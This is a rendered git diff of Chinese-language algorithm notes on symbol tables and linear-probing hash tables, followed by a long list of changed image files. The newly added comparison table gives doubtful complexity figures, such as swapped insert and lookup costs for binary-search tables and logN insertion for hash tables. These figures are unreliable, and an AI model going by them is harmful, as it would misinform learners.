线性探测法使用空位来解决冲突,当冲突发生时,向前探测一个空位来存储冲突的键。使用线程探测法,数组的大小 M 应当大于键的个数 NM>N)。 线性探测法使用空位来解决冲突,当冲突发生时,向前探测一个空位来存储冲突的键。使用线程探测法,数组的大小 M 应当大于键的个数 NM>N)。
<div align="center"> <img src="../pics//8459a13f-b0b8-4387-85a9-2525482bc25a.png" width="800"/> </div><br> <div align="center"> <img src="../pics//dbb8516d-37ba-4e2c-b26b-eefd7de21b45.png" width="400"/> </div><br>
```java ```java
public class LinearProbingHashST<Key, Value> { public class LinearProbingHashST<Key, Value> {
@ -1570,7 +1557,13 @@ private void resize(int cap) {
### 1. 各种符号表实现的比较 ### 1. 各种符号表实现的比较
<div align="center"> <img src="../pics//b15ed62e-b955-44ac-b5cb-6fa7a16c79b5.png" width="800"/> </div><br> | 算法 | 插入 | 查找 | 是否有序 |
| :---: | :---: | :---: | :---: |
| 二分查找实现的有序表 | logN | N | yes |
| 二叉查找树 | logN | logN | yes |
| 2-3 查找树 | logN | logN | yes |
| 拉链法实现的散列表 | logN | N/M | no |
| 线性探测法试下的删列表 | logN | 1 | no |
应当优先考虑散列表,当需要有序性操作时使用红黑树。 应当优先考虑散列表,当需要有序性操作时使用红黑树。
@ -1616,5 +1609,5 @@ public class SparseVector {
# 参考资料 # 参考资料
- Sedgewick R. Algorithms[M]. Pearson Education India, 1988. - Sedgewick, Robert, and Kevin Wayne. _Algorithms_. Addison-Wesley Professional, 2011.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 225 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 122 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 80 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 309 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 143 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 66 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 252 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 228 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 463 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 85 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 143 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 197 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 162 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 55 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

Some files were not shown because too many files have changed in this diff Show More